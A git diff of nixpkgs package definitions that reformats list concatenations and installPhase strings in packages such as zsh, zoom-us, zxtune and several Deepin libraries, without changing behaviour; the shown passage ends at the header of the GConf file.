diff --git a/pkgs/by-name/zo/zoom-us/package.nix b/pkgs/by-name/zo/zoom-us/package.nix
index 888531b32e53..198cecd269b0 100644
--- a/pkgs/by-name/zo/zoom-us/package.nix
+++ b/pkgs/by-name/zo/zoom-us/package.nix
@@ -112,26 +112,25 @@ let
       cpio
     ];
 
-    installPhase =
-      ''
-        runHook preInstall
-      ''
-      + (
-        if stdenv.hostPlatform.isDarwin then
-          ''
-            mkdir -p $out/Applications
-            cp -R zoom.us.app $out/Applications/
-          ''
-        else
-          ''
-            mkdir $out
-            tar -C $out -xf $src
-            mv $out/usr/* $out/
-          ''
-      )
-      + ''
-        runHook postInstall
-      '';
+    installPhase = ''
+      runHook preInstall
+    ''
+    + (
+      if stdenv.hostPlatform.isDarwin then
+        ''
+          mkdir -p $out/Applications
+          cp -R zoom.us.app $out/Applications/
+        ''
+      else
+        ''
+          mkdir $out
+          tar -C $out -xf $src
+          mv $out/usr/* $out/
+        ''
+    )
+    + ''
+      runHook postInstall
+    '';
 
     postFixup = lib.optionalString stdenv.hostPlatform.isDarwin ''
       makeWrapper $out/Applications/zoom.us.app/Contents/MacOS/zoom.us $out/bin/zoom
diff --git a/pkgs/by-name/zs/zsh/package.nix b/pkgs/by-name/zs/zsh/package.nix
index e84ddddd9fcf..e73082fa8f09 100644
--- a/pkgs/by-name/zs/zsh/package.nix
+++ b/pkgs/by-name/zs/zsh/package.nix
@@ -35,73 +35,70 @@ stdenv.mkDerivation {
     sha256 = "sha256-m40ezt1bXoH78ZGOh2dSp92UjgXBoNuhCrhjhC1FrNU=";
   };
 
-  patches =
-    [
-      # fix location of timezone data for TZ= completion
-      ./tz_completion.patch
-      # Fixes configure misdetection when using clang 16, resulting in broken subshells on Darwin.
-      # This patch can be dropped with the next release of zsh.
-      (fetchpatch {
-        url = "https://github.com/zsh-users/zsh/commit/ab4d62eb975a4c4c51dd35822665050e2ddc6918.patch";
-        hash = "sha256-nXB4w7qqjZJC7/+CDxnNy6wu9qNwmS3ezjj/xK7JfeU=";
-        excludes = [ "ChangeLog" ];
-      })
-      # Fixes compatibility with texinfo 7.1. This patch can be dropped with the next release of zsh.
-      (fetchpatch {
-        url = "https://github.com/zsh-users/zsh/commit/ecd3f9c9506c7720dc6c0833dc5d5eb00e4459c4.patch";
-        hash = "sha256-oA8GC8LmuqNKGuPqGfiQVhL5nWb7ArLWGUI6wjpsIW8=";
-        excludes = [ "ChangeLog" ];
-      })
-    ]
-    ++ lib.optionals stdenv.cc.isGNU [
-      # Fixes compilation with gcc >= 14.
-      (fetchpatch {
-        url = "https://github.com/zsh-users/zsh/commit/4c89849c98172c951a9def3690e8647dae76308f.patch";
-        hash = "sha256-l5IHQuIXo0N6ynLlZoQA7wJd/C7KrW3G7nMzfjQINkw=";
-        excludes = [ "ChangeLog" ];
-      })
-    ];
+  patches = [
+    # fix location of timezone data for TZ= completion
+    ./tz_completion.patch
+    # Fixes configure misdetection when using clang 16, resulting in broken subshells on Darwin.
+    # This patch can be dropped with the next release of zsh.
+    (fetchpatch {
+      url = "https://github.com/zsh-users/zsh/commit/ab4d62eb975a4c4c51dd35822665050e2ddc6918.patch";
+      hash = "sha256-nXB4w7qqjZJC7/+CDxnNy6wu9qNwmS3ezjj/xK7JfeU=";
+      excludes = [ "ChangeLog" ];
+    })
+    # Fixes compatibility with texinfo 7.1. This patch can be dropped with the next release of zsh.
+    (fetchpatch {
+      url = "https://github.com/zsh-users/zsh/commit/ecd3f9c9506c7720dc6c0833dc5d5eb00e4459c4.patch";
+      hash = "sha256-oA8GC8LmuqNKGuPqGfiQVhL5nWb7ArLWGUI6wjpsIW8=";
+      excludes = [ "ChangeLog" ];
+    })
+  ]
+  ++ lib.optionals stdenv.cc.isGNU [
+    # Fixes compilation with gcc >= 14.
+    (fetchpatch {
+      url = "https://github.com/zsh-users/zsh/commit/4c89849c98172c951a9def3690e8647dae76308f.patch";
+      hash = "sha256-l5IHQuIXo0N6ynLlZoQA7wJd/C7KrW3G7nMzfjQINkw=";
+      excludes = [ "ChangeLog" ];
+    })
+  ];
 
   strictDeps = true;
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      perl
-      groff
-      texinfo
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      util-linux
-      yodl
-    ];
+  nativeBuildInputs = [
+    autoreconfHook
+    perl
+    groff
+    texinfo
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    util-linux
+    yodl
+  ];
 
   buildInputs = [
     ncurses
     pcre
   ];
 
-  configureFlags =
-    [
-      "--enable-maildir-support"
-      "--enable-multibyte"
-      "--with-tcsetpgrp"
-      "--enable-pcre"
-      "--enable-zshenv=${placeholder "out"}/etc/zshenv"
-      "--disable-site-fndir"
-      # --enable-function-subdirs is not enabled due to it being slow at runtime in some cases
-    ]
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform && !stdenv.hostPlatform.isStatic) [
-      # Also see: https://github.com/buildroot/buildroot/commit/2f32e668aa880c2d4a2cce6c789b7ca7ed6221ba
-      "zsh_cv_shared_environ=yes"
-      "zsh_cv_shared_tgetent=yes"
-      "zsh_cv_shared_tigetstr=yes"
-      "zsh_cv_sys_dynamic_clash_ok=yes"
-      "zsh_cv_sys_dynamic_rtld_global=yes"
-      "zsh_cv_sys_dynamic_execsyms=yes"
-      "zsh_cv_sys_dynamic_strip_exe=yes"
-      "zsh_cv_sys_dynamic_strip_lib=yes"
-    ];
+  configureFlags = [
+    "--enable-maildir-support"
+    "--enable-multibyte"
+    "--with-tcsetpgrp"
+    "--enable-pcre"
+    "--enable-zshenv=${placeholder "out"}/etc/zshenv"
+    "--disable-site-fndir"
+    # --enable-function-subdirs is not enabled due to it being slow at runtime in some cases
+  ]
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform && !stdenv.hostPlatform.isStatic) [
+    # Also see: https://github.com/buildroot/buildroot/commit/2f32e668aa880c2d4a2cce6c789b7ca7ed6221ba
+    "zsh_cv_shared_environ=yes"
+    "zsh_cv_shared_tgetent=yes"
+    "zsh_cv_shared_tigetstr=yes"
+    "zsh_cv_sys_dynamic_clash_ok=yes"
+    "zsh_cv_sys_dynamic_rtld_global=yes"
+    "zsh_cv_sys_dynamic_execsyms=yes"
+    "zsh_cv_sys_dynamic_strip_exe=yes"
+    "zsh_cv_sys_dynamic_strip_lib=yes"
+  ];
 
   postPatch = ''
     substituteInPlace Src/Modules/pcre.mdd \
diff --git a/pkgs/by-name/zu/zulip-term/package.nix b/pkgs/by-name/zu/zulip-term/package.nix
index 45b1a8a565da..1c36047e2828 100644
--- a/pkgs/by-name/zu/zulip-term/package.nix
+++ b/pkgs/by-name/zu/zulip-term/package.nix
@@ -61,15 +61,14 @@ buildPythonApplication rec {
     zulip
   ];
 
-  nativeCheckInputs =
-    [
-      glibcLocales
-    ]
-    ++ (with python3.pkgs; [
-      pytestCheckHook
-      pytest-cov
-      pytest-mock
-    ]);
+  nativeCheckInputs = [
+    glibcLocales
+  ]
+  ++ (with python3.pkgs; [
+    pytestCheckHook
+    pytest-cov
+    pytest-mock
+  ]);
 
   makeWrapperArgs = [
     "--prefix"
diff --git a/pkgs/by-name/zx/zxtune/package.nix b/pkgs/by-name/zx/zxtune/package.nix
index a5cbdd1428d3..42a19082a2a5 100644
--- a/pkgs/by-name/zx/zxtune/package.nix
+++ b/pkgs/by-name/zx/zxtune/package.nix
@@ -44,7 +44,8 @@ let
   staticBuildInputs = [
     boost
     zlib
-  ] ++ lib.optional withQt (if (supportWayland) then qt5.qtwayland else qt5.qtbase);
+  ]
+  ++ lib.optional withQt (if (supportWayland) then qt5.qtwayland else qt5.qtbase);
 in
 stdenv.mkDerivation rec {
   pname = "zxtune";
@@ -129,19 +130,18 @@ stdenv.mkDerivation rec {
   # load ("Status: Available" or "Status: Failed to load dynamic library...").
   dontPatchELF = true;
 
-  installPhase =
-    ''
-      runHook preInstall
-      install -Dm755 bin/linux/release/xtractor -t $out/bin
-      install -Dm755 bin/linux/release/zxtune123 -t $out/bin
-    ''
-    + lib.optionalString withQt ''
-      install -Dm755 bin/linux/release/zxtune-qt -t $out/bin
-      install -Dm755 apps/zxtune-qt/res/theme_default/zxtune.png -t $out/share/icons/hicolor/48x48/apps
-    ''
-    + ''
-      runHook postInstall
-    '';
+  installPhase = ''
+    runHook preInstall
+    install -Dm755 bin/linux/release/xtractor -t $out/bin
+    install -Dm755 bin/linux/release/zxtune123 -t $out/bin
+  ''
+  + lib.optionalString withQt ''
+    install -Dm755 bin/linux/release/zxtune-qt -t $out/bin
+    install -Dm755 apps/zxtune-qt/res/theme_default/zxtune.png -t $out/share/icons/hicolor/48x48/apps
+  ''
+  + ''
+    runHook postInstall
+  '';
 
   # Only wrap the gui
   dontWrapQtApps = true;
diff --git a/pkgs/data/documentation/zeal/default.nix b/pkgs/data/documentation/zeal/default.nix
index dcca5ffbc67e..dde6f06a4182 100644
--- a/pkgs/data/documentation/zeal/default.nix
+++ b/pkgs/data/documentation/zeal/default.nix
@@ -48,7 +48,8 @@ stdenv.mkDerivation (finalAttrs: {
     qtimageformats
     qtwebengine
     xcbutilkeysyms
-  ] ++ lib.optionals isQt5 [ qtx11extras ];
+  ]
+  ++ lib.optionals isQt5 [ qtx11extras ];
 
   cmakeFlags = [
     (lib.cmakeBool "ZEAL_RELEASE_BUILD" true)
diff --git a/pkgs/data/fonts/open-relay/default.nix b/pkgs/data/fonts/open-relay/default.nix
index 2b3b943761bc..a8562be40859 100644
--- a/pkgs/data/fonts/open-relay/default.nix
+++ b/pkgs/data/fonts/open-relay/default.nix
@@ -38,7 +38,8 @@ let
           linus
           toastal
         ];
-      } // meta;
+      }
+      // meta;
     });
 in
 lib.mapAttrs mkOpenRelayTypeface {
diff --git a/pkgs/data/fonts/openmoji/default.nix b/pkgs/data/fonts/openmoji/default.nix
index 5c9e54611545..5f4c07e8a25e 100644
--- a/pkgs/data/fonts/openmoji/default.nix
+++ b/pkgs/data/fonts/openmoji/default.nix
@@ -66,8 +66,7 @@ stdenvNoCC.mkDerivation rec {
   methods_black = builtins.filter (m: builtins.elem m fontFormats) methods.black;
   methods_color = builtins.filter (m: builtins.elem m fontFormats) methods.color;
   saturations =
-    lib.optional (methods_black != [ ]) "black"
-    ++ lib.optional (methods_color != [ ]) "color";
+    lib.optional (methods_black != [ ]) "black" ++ lib.optional (methods_color != [ ]) "color";
   maximumColorVersions = lib.optionals (buildMaximumColorFonts != "none") (
     lib.optional (builtins.elem "glyf_colr_0" fontFormats) "0"
     ++ lib.optional (builtins.elem "glyf_colr_1" fontFormats) "1"
diff --git a/pkgs/data/icons/papirus-icon-theme/default.nix b/pkgs/data/icons/papirus-icon-theme/default.nix
index 8aa000b133fe..e815e836f405 100644
--- a/pkgs/data/icons/papirus-icon-theme/default.nix
+++ b/pkgs/data/icons/papirus-icon-theme/default.nix
@@ -28,14 +28,13 @@ stdenvNoCC.mkDerivation rec {
     papirus-folders
   ];
 
-  propagatedBuildInputs =
-    [
-      breeze-icons
-      hicolor-icon-theme
-    ]
-    ++ lib.optional withElementary [
-      elementary-icon-theme
-    ];
+  propagatedBuildInputs = [
+    breeze-icons
+    hicolor-icon-theme
+  ]
+  ++ lib.optional withElementary [
+    elementary-icon-theme
+  ];
 
   dontDropIconThemeCache = true;
 
diff --git a/pkgs/data/sgml+xml/stylesheets/xslt/docbook-xsl/default.nix b/pkgs/data/sgml+xml/stylesheets/xslt/docbook-xsl/default.nix
index 49beba0de955..a8598e304410 100644
--- a/pkgs/data/sgml+xml/stylesheets/xslt/docbook-xsl/default.nix
+++ b/pkgs/data/sgml+xml/stylesheets/xslt/docbook-xsl/default.nix
@@ -30,35 +30,34 @@ let
           inherit sha256;
         };
 
-        patches =
-          [
-            # Prevent a potential stack overflow
-            # https://github.com/docbook/xslt10-stylesheets/pull/37
-            (fetchpatch {
-              url = "https://src.fedoraproject.org/rpms/docbook-style-xsl/raw/e3ae7a97ed1d185594dd35954e1a02196afb205a/f/docbook-style-xsl-non-recursive-string-subst.patch";
-              sha256 = "0lrjjg5kpwwmbhkxzz6i5zmimb6lsvrrdhzc2qgjmb3r6jnsmii3";
-              stripLen = "1";
-            })
+        patches = [
+          # Prevent a potential stack overflow
+          # https://github.com/docbook/xslt10-stylesheets/pull/37
+          (fetchpatch {
+            url = "https://src.fedoraproject.org/rpms/docbook-style-xsl/raw/e3ae7a97ed1d185594dd35954e1a02196afb205a/f/docbook-style-xsl-non-recursive-string-subst.patch";
+            sha256 = "0lrjjg5kpwwmbhkxzz6i5zmimb6lsvrrdhzc2qgjmb3r6jnsmii3";
+            stripLen = "1";
+          })
 
-            # Fix reproducibility by respecting generate.consistent.ids in indexes
-            # https://github.com/docbook/xslt10-stylesheets/pull/88
-            # https://sourceforge.net/p/docbook/bugs/1385/
-            (fetchpatch {
-              url = "https://github.com/docbook/xslt10-stylesheets/commit/07631601e6602bc49b8eac3aab9d2b35968d3e7a.patch";
-              sha256 = "0igfhcr6hzcydqsnjsd181h5yl3drjnrwdmxcybr236m8255vkq3";
-              stripLen = "1";
-            })
+          # Fix reproducibility by respecting generate.consistent.ids in indexes
+          # https://github.com/docbook/xslt10-stylesheets/pull/88
+          # https://sourceforge.net/p/docbook/bugs/1385/
+          (fetchpatch {
+            url = "https://github.com/docbook/xslt10-stylesheets/commit/07631601e6602bc49b8eac3aab9d2b35968d3e7a.patch";
+            sha256 = "0igfhcr6hzcydqsnjsd181h5yl3drjnrwdmxcybr236m8255vkq3";
+            stripLen = "1";
+          })
 
-            # Add legacy sourceforge.net URIs to the catalog
-            (replaceVars ./catalog-legacy-uris.patch {
-              inherit legacySuffix suffix version;
-            })
-          ]
-          ++ lib.optionals withManOptDedupPatch [
-            # Fixes https://github.com/NixOS/nixpkgs/issues/166304
-            # https://github.com/docbook/xslt10-stylesheets/pull/241
-            ./fix-man-options-duplication.patch
-          ];
+          # Add legacy sourceforge.net URIs to the catalog
+          (replaceVars ./catalog-legacy-uris.patch {
+            inherit legacySuffix suffix version;
+          })
+        ]
+        ++ lib.optionals withManOptDedupPatch [
+          # Fixes https://github.com/NixOS/nixpkgs/issues/166304
+          # https://github.com/docbook/xslt10-stylesheets/pull/241
+          ./fix-man-options-duplication.patch
+        ];
 
         propagatedBuildInputs = [ findXMLCatalogs ];
 
diff --git a/pkgs/data/themes/adwaita-qt/default.nix b/pkgs/data/themes/adwaita-qt/default.nix
index 704d49af1cb0..3de7647405e6 100644
--- a/pkgs/data/themes/adwaita-qt/default.nix
+++ b/pkgs/data/themes/adwaita-qt/default.nix
@@ -33,19 +33,18 @@ stdenv.mkDerivation rec {
     ninja
   ];
 
-  buildInputs =
-    [
-      qtbase
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      xorg.libxcb
-    ]
-    ++ lib.optionals (!useQt6) [
-      qt5.qtx11extras
-    ]
-    ++ lib.optionals useQt6 [
-      qtwayland
-    ];
+  buildInputs = [
+    qtbase
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    xorg.libxcb
+  ]
+  ++ lib.optionals (!useQt6) [
+    qt5.qtx11extras
+  ]
+  ++ lib.optionals useQt6 [
+    qtwayland
+  ];
 
   # Qt setup hook complains about missing `wrapQtAppsHook` otherwise.
   dontWrapQtApps = true;
diff --git a/pkgs/data/themes/elegant-sddm/default.nix b/pkgs/data/themes/elegant-sddm/default.nix
index c4d297884194..56545c77c843 100644
--- a/pkgs/data/themes/elegant-sddm/default.nix
+++ b/pkgs/data/themes/elegant-sddm/default.nix
@@ -39,19 +39,18 @@ stdenvNoCC.mkDerivation {
 
   dontWrapQtApps = true;
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      mkdir -p "$out/share/sddm/themes"
-      cp -r Elegant/ "$out/share/sddm/themes/Elegant"
-    ''
-    + (lib.optionalString (lib.isAttrs themeConfig) ''
-      ln -sf ${user-cfg} $out/share/sddm/themes/Elegant/theme.conf.user
-    '')
-    + ''
-      runHook postInstall
-    '';
+    mkdir -p "$out/share/sddm/themes"
+    cp -r Elegant/ "$out/share/sddm/themes/Elegant"
+  ''
+  + (lib.optionalString (lib.isAttrs themeConfig) ''
+    ln -sf ${user-cfg} $out/share/sddm/themes/Elegant/theme.conf.user
+  '')
+  + ''
+    runHook postInstall
+  '';
 
   postFixup = ''
     mkdir -p $out/nix-support
diff --git a/pkgs/data/themes/plata/default.nix b/pkgs/data/themes/plata/default.nix
index cdcd080e1657..405c818d7ff9 100644
--- a/pkgs/data/themes/plata/default.nix
+++ b/pkgs/data/themes/plata/default.nix
@@ -42,21 +42,20 @@ stdenv.mkDerivation rec {
     sha256 = "1iwvlv9qcrjyfbzab00vjqafmp3vdybz1hi02r6lwbgvwyfyrifk";
   };
 
-  nativeBuildInputs =
-    [
-      autoreconfHook
-      pkg-config
-      parallel
-      sassc
-      inkscape
-      libxml2
-      glib
-    ]
-    ++ lib.optionals mateSupport [
-      gtk3
-      marco
-    ]
-    ++ lib.optional telegramSupport zip;
+  nativeBuildInputs = [
+    autoreconfHook
+    pkg-config
+    parallel
+    sassc
+    inkscape
+    libxml2
+    glib
+  ]
+  ++ lib.optionals mateSupport [
+    gtk3
+    marco
+  ]
+  ++ lib.optional telegramSupport zip;
 
   buildInputs = [ gtk_engines ];
 
diff --git a/pkgs/data/themes/qtcurve/default.nix b/pkgs/data/themes/qtcurve/default.nix
index dd2aaeed7d35..9339cdbf3380 100644
--- a/pkgs/data/themes/qtcurve/default.nix
+++ b/pkgs/data/themes/qtcurve/default.nix
@@ -76,7 +76,8 @@ mkDerivation rec {
     libXdmcp
     libX11
     libXau
-  ] ++ lib.optional gtk2Support gtk2;
+  ]
+  ++ lib.optional gtk2Support gtk2;
 
   preConfigure = ''
     for i in qt5/CMakeLists.txt qt5/config/CMakeLists.txt
diff --git a/pkgs/desktops/deepin/apps/deepin-music/default.nix b/pkgs/desktops/deepin/apps/deepin-music/default.nix
index a6d59650882f..1eeb0eb03bed 100644
--- a/pkgs/desktops/deepin/apps/deepin-music/default.nix
+++ b/pkgs/desktops/deepin/apps/deepin-music/default.nix
@@ -37,26 +37,25 @@ stdenv.mkDerivation rec {
     qt6Packages.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      dtk6widget
-      dtk6declarative
-      qt6integration
-      qt6platform-plugins
-      qt6mpris
-      qt6Packages.qtbase
-      qt6Packages.qt5compat
-      qt6Packages.qtmultimedia
-      ffmpeg_6
-      libvlc
-      taglib_1
-      SDL2
-    ]
-    ++ (with gst_all_1; [
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-    ]);
+  buildInputs = [
+    dtk6widget
+    dtk6declarative
+    qt6integration
+    qt6platform-plugins
+    qt6mpris
+    qt6Packages.qtbase
+    qt6Packages.qt5compat
+    qt6Packages.qtmultimedia
+    ffmpeg_6
+    libvlc
+    taglib_1
+    SDL2
+  ]
+  ++ (with gst_all_1; [
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+  ]);
 
   cmakeFlags = [ "-DVERSION=${version}" ];
 
diff --git a/pkgs/desktops/deepin/core/dde-gsettings-schemas/default.nix b/pkgs/desktops/deepin/core/dde-gsettings-schemas/default.nix
index 799714d98ec2..6b8f892ed39b 100644
--- a/pkgs/desktops/deepin/core/dde-gsettings-schemas/default.nix
+++ b/pkgs/desktops/deepin/core/dde-gsettings-schemas/default.nix
@@ -24,7 +24,8 @@ let
     deepin-desktop-schemas
     deepin-system-monitor
     gsettings-desktop-schemas # dde-appearance need org.gnome.desktop.background
-  ] ++ extraGSettingsOverridePackages;
+  ]
+  ++ extraGSettingsOverridePackages;
 
 in
 # TODO: Having https://github.com/NixOS/nixpkgs/issues/54150 would supersede this
diff --git a/pkgs/desktops/deepin/core/dde-launchpad/default.nix b/pkgs/desktops/deepin/core/dde-launchpad/default.nix
index a6beb5d3347b..a8d8cbbd5042 100644
--- a/pkgs/desktops/deepin/core/dde-launchpad/default.nix
+++ b/pkgs/desktops/deepin/core/dde-launchpad/default.nix
@@ -29,19 +29,18 @@ stdenv.mkDerivation rec {
     qt6Packages.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      qt6integration
-      qt6platform-plugins
-      dtk6declarative
-      dde-shell
-    ]
-    ++ (with qt6Packages; [
-      qtbase
-      qtsvg
-      qtwayland
-      appstream-qt
-    ]);
+  buildInputs = [
+    qt6integration
+    qt6platform-plugins
+    dtk6declarative
+    dde-shell
+  ]
+  ++ (with qt6Packages; [
+    qtbase
+    qtsvg
+    qtwayland
+    appstream-qt
+  ]);
 
   cmakeFlags = [ "-DSYSTEMD_USER_UNIT_DIR=${placeholder "out"}/lib/systemd/user" ];
 
diff --git a/pkgs/desktops/deepin/core/deepin-kwin/default.nix b/pkgs/desktops/deepin/core/deepin-kwin/default.nix
index 2a56a883449d..8cf6180f3652 100644
--- a/pkgs/desktops/deepin/core/deepin-kwin/default.nix
+++ b/pkgs/desktops/deepin/core/deepin-kwin/default.nix
@@ -43,44 +43,43 @@ stdenv.mkDerivation rec {
     libsForQt5.qttools
   ];
 
-  buildInputs =
-    [
-      wayland
-      dwayland
-      libepoxy
-      gsettings-qt
+  buildInputs = [
+    wayland
+    dwayland
+    libepoxy
+    gsettings-qt
 
-      libinput
-      libgbm
-      lcms2
+    libinput
+    libgbm
+    lcms2
 
-      xorg.libxcb
-      xorg.libXdmcp
-      xorg.libXcursor
-      xorg.xcbutilcursor
-      xorg.libXtst
-      xorg.libXScrnSaver
-    ]
-    ++ (with libsForQt5; [
-      qtbase
-      qtx11extras
-      kconfig
-      kconfigwidgets
-      kcoreaddons
-      kcrash
-      kdbusaddons
-      kiconthemes
-      kglobalaccel
-      kidletime
-      knotifications
-      kpackage
-      plasma-framework
-      kcmutils
-      knewstuff
-      kdecoration
-      kscreenlocker
-      breeze-qt5
-    ]);
+    xorg.libxcb
+    xorg.libXdmcp
+    xorg.libXcursor
+    xorg.xcbutilcursor
+    xorg.libXtst
+    xorg.libXScrnSaver
+  ]
+  ++ (with libsForQt5; [
+    qtbase
+    qtx11extras
+    kconfig
+    kconfigwidgets
+    kcoreaddons
+    kcrash
+    kdbusaddons
+    kiconthemes
+    kglobalaccel
+    kidletime
+    knotifications
+    kpackage
+    plasma-framework
+    kcmutils
+    knewstuff
+    kdecoration
+    kscreenlocker
+    breeze-qt5
+  ]);
 
   cmakeFlags = [ "-DKWIN_BUILD_RUNNERS=OFF" ];
 
diff --git a/pkgs/desktops/deepin/library/dtk6declarative/default.nix b/pkgs/desktops/deepin/library/dtk6declarative/default.nix
index 90f208ed036b..57c58dceccb4 100644
--- a/pkgs/desktops/deepin/library/dtk6declarative/default.nix
+++ b/pkgs/desktops/deepin/library/dtk6declarative/default.nix
@@ -33,14 +33,15 @@ stdenv.mkDerivation (finalAttrs: {
     qt6Packages.wrapQtAppsHook
   ];
 
-  propagatedBuildInputs =
-    [ dtk6gui ]
-    ++ (with qt6Packages; [
-      qtbase
-      qtdeclarative
-      qtshadertools
-      qt5compat
-    ]);
+  propagatedBuildInputs = [
+    dtk6gui
+  ]
+  ++ (with qt6Packages; [
+    qtbase
+    qtdeclarative
+    qtshadertools
+    qt5compat
+  ]);
 
   cmakeFlags = [
     "-DDTK_VERSION=${finalAttrs.version}"
diff --git a/pkgs/desktops/deepin/library/dtk6log/default.nix b/pkgs/desktops/deepin/library/dtk6log/default.nix
index 755738b40b70..6e89449f7d0d 100644
--- a/pkgs/desktops/deepin/library/dtk6log/default.nix
+++ b/pkgs/desktops/deepin/library/dtk6log/default.nix
@@ -41,7 +41,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     qt6Packages.qtbase
     spdlog
-  ] ++ lib.optional withSystemd systemd;
+  ]
+  ++ lib.optional withSystemd systemd;
 
   cmakeFlags = [
     (lib.cmakeBool "BUILD_WITH_QT6" true)
diff --git a/pkgs/desktops/deepin/library/dtk6widget/default.nix b/pkgs/desktops/deepin/library/dtk6widget/default.nix
index 549b05e32de7..d44097fe6050 100644
--- a/pkgs/desktops/deepin/library/dtk6widget/default.nix
+++ b/pkgs/desktops/deepin/library/dtk6widget/default.nix
@@ -47,16 +47,15 @@ stdenv.mkDerivation (finalAttrs: {
     qt6Packages.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      cups
-      libstartup_notification
-    ]
-    ++ (with qt6Packages; [
-      qtbase
-      qtmultimedia
-      qtsvg
-    ]);
+  buildInputs = [
+    cups
+    libstartup_notification
+  ]
+  ++ (with qt6Packages; [
+    qtbase
+    qtmultimedia
+    qtsvg
+  ]);
 
   propagatedBuildInputs = [ dtk6gui ];
 
diff --git a/pkgs/desktops/deepin/library/dtklog/default.nix b/pkgs/desktops/deepin/library/dtklog/default.nix
index 6722f9be0048..7c448ee8e8a8 100644
--- a/pkgs/desktops/deepin/library/dtklog/default.nix
+++ b/pkgs/desktops/deepin/library/dtklog/default.nix
@@ -32,7 +32,8 @@ stdenv.mkDerivation (finalAttrs: {
   buildInputs = [
     libsForQt5.qtbase
     spdlog
-  ] ++ lib.optional withSystemd systemd;
+  ]
+  ++ lib.optional withSystemd systemd;
 
   cmakeFlags = [
     (lib.cmakeBool "BUILD_WITH_SYSTEMD" withSystemd)
diff --git a/pkgs/desktops/deepin/library/gio-qt/default.nix b/pkgs/desktops/deepin/library/gio-qt/default.nix
index 8b420e1f492b..2865174cd041 100644
--- a/pkgs/desktops/deepin/library/gio-qt/default.nix
+++ b/pkgs/desktops/deepin/library/gio-qt/default.nix
@@ -28,21 +28,21 @@ stdenv.mkDerivation rec {
       --replace "include(qt6.cmake)" " "
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      libsForQt5.wrapQtAppsHook
-    ]
-    ++ lib.optionals buildDocs [
-      doxygen
-      libsForQt5.qttools
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    libsForQt5.wrapQtAppsHook
+  ]
+  ++ lib.optionals buildDocs [
+    doxygen
+    libsForQt5.qttools
+  ];
 
   cmakeFlags = [
     "-DCMAKE_INSTALL_LIBDIR=lib"
     "-DPROJECT_VERSION=${version}"
-  ] ++ lib.optionals (!buildDocs) [ "-DBUILD_DOCS=OFF" ];
+  ]
+  ++ lib.optionals (!buildDocs) [ "-DBUILD_DOCS=OFF" ];
 
   propagatedBuildInputs = [ glibmm ];
 
diff --git a/pkgs/desktops/enlightenment/enlightenment/default.nix b/pkgs/desktops/enlightenment/enlightenment/default.nix
index 7e171dcb1e57..8521e6ff85cd 100644
--- a/pkgs/desktops/enlightenment/enlightenment/default.nix
+++ b/pkgs/desktops/enlightenment/enlightenment/default.nix
@@ -41,24 +41,23 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      alsa-lib
-      acpid # for systems with ACPI for lid events, AC/Battery plug in/out etc
-      bc # for the Everything module calculator mode
-      ddcutil # specifically libddcutil.so.2 for backlight control
-      efl
-      libexif
-      pam
-      xkeyboard_config
-      udisks2 # for removable storage mounting/unmounting
-    ]
-    ++ lib.optional bluetoothSupport bluez5 # for bluetooth configuration and control
-    ++ lib.optional pulseSupport libpulseaudio # for proper audio device control and redirection
-    ++ lib.optionals waylandSupport [
-      wayland-protocols
-      xwayland
-    ];
+  buildInputs = [
+    alsa-lib
+    acpid # for systems with ACPI for lid events, AC/Battery plug in/out etc
+    bc # for the Everything module calculator mode
+    ddcutil # specifically libddcutil.so.2 for backlight control
+    efl
+    libexif
+    pam
+    xkeyboard_config
+    udisks2 # for removable storage mounting/unmounting
+  ]
+  ++ lib.optional bluetoothSupport bluez5 # for bluetooth configuration and control
+  ++ lib.optional pulseSupport libpulseaudio # for proper audio device control and redirection
+  ++ lib.optionals waylandSupport [
+    wayland-protocols
+    xwayland
+  ];
 
   patches = [
     # Executables cannot be made setuid in nix store. They should be
@@ -75,7 +74,8 @@ stdenv.mkDerivation rec {
 
   mesonFlags = [
     "-D systemdunitdir=lib/systemd/user"
-  ] ++ lib.optional waylandSupport "-Dwl=true";
+  ]
+  ++ lib.optional waylandSupport "-Dwl=true";
 
   passthru.providedSessions = [ "enlightenment" ];
 
diff --git a/pkgs/desktops/gnome-2/desktop/gtksourceview/default.nix b/pkgs/desktops/gnome-2/desktop/gtksourceview/default.nix
index 30a33349e5a2..7cca48efbff8 100644
--- a/pkgs/desktops/gnome-2/desktop/gtksourceview/default.nix
+++ b/pkgs/desktops/gnome-2/desktop/gtksourceview/default.nix
@@ -51,22 +51,22 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [
     pkg-config
     intltool
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ autoreconfHook ];
-  buildInputs =
-    [
-      atk
-      cairo
-      glib
-      gtk2
-      pango
-      libxml2Python
-      perl
-      gettext
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      gnome-common
-      gtk-mac-integration-gtk2
-    ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ autoreconfHook ];
+  buildInputs = [
+    atk
+    cairo
+    glib
+    gtk2
+    pango
+    libxml2Python
+    perl
+    gettext
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    gnome-common
+    gtk-mac-integration-gtk2
+  ];
 
   preConfigure = lib.optionalString stdenv.hostPlatform.isDarwin ''
     intltoolize --force
diff --git a/pkgs/desktops/gnome-2/platform/GConf/default.nix b/pkgs/desktops/gnome-2/platform/GConf/default.nix
index b2d6986e776c..ffcb9b1ce7d9 100644
--- a/pkgs/desktops/gnome-2/platform/GConf/default.nix
+++ b/pkgs/desktops/gnome-2/platform/GConf/default.nix
